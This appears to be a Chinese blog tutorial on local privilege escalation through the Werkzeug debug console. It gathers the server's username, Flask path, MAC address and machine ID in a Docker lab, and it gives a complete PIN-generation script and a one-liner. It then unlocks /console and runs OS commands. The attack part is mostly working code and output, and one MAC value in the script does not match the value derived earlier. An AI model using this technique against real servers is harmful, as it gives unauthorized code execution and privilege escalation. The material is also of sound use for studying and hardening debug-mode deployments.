利用Werkzeug-Debug实现本地权限提升

情景:Flask服务器在某个权限X的用户名下运行,你是系统中的本地用户,拥有权限Y。你可以访问 Werkzeug 用来生成服务器用户 PIN 的信息并成功解锁控制台后,用户作为服务器运行者会获得操作系统权限实现权限提升。

开启Werkzeug-Debug服务后,Debugger PIN码会打印到控制台中。

1、打开一个新终端,以其他用户身份登录 Docker

复制代码
sudo docker ps              
e0866ddaa40c   werkzeug-debug-console:latest   "python3 /app/server..."   About a minute ago   Up About a minute   0.0.0.0:7777->7777/tcp, :::7777->7777/tcp   nice_poitras
​
$ sudo docker exec -u 0 -it e0866ddaa40c /bin/bash
root@e0866ddaa40c:/app#

PIN码生成方式,我们可以反向生成控制台PIN的算法。

https://github.com/pallets/werkzeug/blob/main/src/werkzeug/debug/init.py

2、识别运行服务器的用户,地址为7777端口

复制代码
sudo docker exec -u 0 -it e0866ddaa40c /bin/bash
root@e0866ddaa40c:/app# ps auxww | grep server
werkzeu+       1  0.0  1.4  39632 29600 ?        Ss   07:53   0:00 python3 /app/server.py
werkzeu+       7  0.0  1.2  40632 24848 ?        S    07:53   0:00 python3 /app/server.py
werkzeu+       8  0.0  1.5  40268 30568 ?        S    07:53   0:00 /usr/local/bin/python3 /app/server.py
werkzeu+       9  0.2  1.3 114928 26816 ?        Sl   07:53   0:02 /usr/local/bin/python3 /app/server.py
root          24  0.0  0.0   3660  1664 pts/0    S+   08:12   0:00 grep server

werkzeu用户在运行服务器,但服务器名称被截断了,可以通过/etc/passwd 查看完整名称。

复制代码
root@e0866ddaa40c:/app# cat /etc/passwd
werkzeug-user:x:1000:1000::/home/werkzeug-user:/bin/sh

3、复制 werkzeug-user 替换 werkzeug-pin-bypass.py脚本的用户名字段 。

4、找到通往Flask的正确路径

复制代码
$ find / -name "app.py" 2>/dev/null
/usr/local/lib/python3.9/site-packages/flask/app.py

5、更新 werkzeug-pin-bypass.py脚本中的上述flask路径。如果使用不同的Python版本或操作系统会有所不同。

6、获取服务器所托管接口的 Mac 地址:

复制代码
root@e0866ddaa40c:/app# python3
Python 3.9.25 (main, Oct 31 2025, 23:16:58) 
[GCC 14.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import uuid
>>> str(uuid.getnode())
'2485377892354'

或者通过以下方式获取mac地址:

复制代码
root@e0866ddaa40c:/app# cat /sys/class/net/eth0/address
02:42:ac:11:00:02
root@e0866ddaa40c:/app# python3
Python 3.9.25 (main, Oct 31 2025, 23:16:58) 
[GCC 14.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> "".join("02:42:ac:11:00:02".split(":"))
'0242ac110002'
>>> print(0x0242ac110002)
2485377892354

8、在werkzeug-pin-bypass.py中更新 Mac 地址。

9、在 python3 中运行以下脚本生成机器 ID

复制代码
machine_id = b""
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
    try:
        with open(filename, "rb") as f:
            value = f.readline().strip()
    except OSError:
        continue

    if value:
        machine_id += value
        break
try:
    with open("/proc/self/cgroup", "rb") as f:
        machine_id += f.readline().strip().rpartition(b"/")[2]
except OSError:
    pass

print(machine_id)

一句话python命令运行:

复制代码
python3 -c "m=b'';exec(\"for f in ['/etc/machine-id','/proc/sys/kernel/random/boot_id']:\n try:\n  with open(f,'rb') as fp:v=fp.readline().strip()\n  if v:m=v;break\n except:continue\");exec(\"try:\n with open('/proc/self/cgroup','rb') as fp:m+=fp.readline().strip().rpartition(b'/')[2]\nexcept:pass\");print(m)"
复制代码
machine-id:d8433c1e-xxxx-4d3b-8965-xxxxa31dxxxx

10、在werkzeug-pin-bypass.py中更新机器ID。

11、运行这个 werkzeug-pin-bypass.py 脚本获取PIN码

复制代码
$ python3 werkzeug-pin-bypass.py
Pin: 378-947-877

如果一切顺利,我们将会拥有 PIN 码。如果没有,就重新检查上述步骤。

如果使用的是旧版本的 Werkzeug,试着把哈希算法改成 md5 而不是 sha1。

访问 http://127.0.0.1:7777/console 输入PIN码系统解锁,我们可以运行想要的Python命令。

复制代码
>>> output = os.popen("id").read()
>>> print(output)
uid=1000(user) gid=1000(user) groups=1000(user)

或
>>> print(os.popen("id").read())
>>> print(os.popen("whoami").read())

注:执行命令直接返回0代表命令执行成功,可以使用print打印命令执行结果。

附:PIN码计算脚本:

复制代码
#!/bin/python3
import hashlib
from itertools import chain

probably_public_bits = [
	'werkzeug-user',# username
	'flask.app',# modname
	'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
	'/usr/local/lib/python3.9/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
	'2485377892356',# str(uuid.getnode()),  /sys/class/net/ens33/address 
	# Machine Id: /etc/machine-id + /proc/sys/kernel/random/boot_id + /proc/self/cgroup
	'ea1fc30b6f4a173cea015d229c6b55b69d0ff00819670374d7a02397bc236523a57e9bab0c6e6167470ac65b66075388'
]

h = hashlib.sha1() # Newer versions of Werkzeug use SHA1 instead of MD5
for bit in chain(probably_public_bits, private_bits):
	if not bit:
		continue
	if isinstance(bit, str):
		bit = bit.encode('utf-8')
	h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
	h.update(b'pinsalt')
	num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
	for group_size in 5, 4, 3:
		if len(num) % group_size == 0:
			rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
						  for x in range(0, len(num), group_size))
			break
	else:
		rv = num

print("Pin: " + rv)
相关推荐
m0_624578591 分钟前
如何在phpMyAdmin中导入GZIP压缩格式文件_加速传输并突破文件大小限制
jvm·数据库·python
m0_495496413 分钟前
mysql数据库表名区分大小写吗_通过lower case table names配置
jvm·数据库·python
wanhengidc12 分钟前
服务器中带宽的重要性
运维·服务器·网络·安全·web安全
weixin_4597539434 分钟前
MySQL主从同步跳过错误影响一致性_使用pt-table-sync修复
jvm·数据库·python
kexnjdcncnxjs40 分钟前
如何解决Oracle 12c以上版本的ORA-65096_C##公共用户前缀限制
jvm·数据库·python
zhoutongsheng1 小时前
MySQL触发器无法触发的原因分析_MySQL触发器排查指南
jvm·数据库·python
夏沫琅琊1 小时前
基于python 的日志文件分析器
python
财经资讯数据_灵砚智能1 小时前
基于全球经济类多源新闻的NLP情感分析与数据可视化(夜间-次晨)2026年5月10日
大数据·人工智能·python·信息可视化·自然语言处理
2301_779622411 小时前
不同品牌SSD对HTML函数工具加载速度影响大吗_存储测试汇总【汇总】
jvm·数据库·python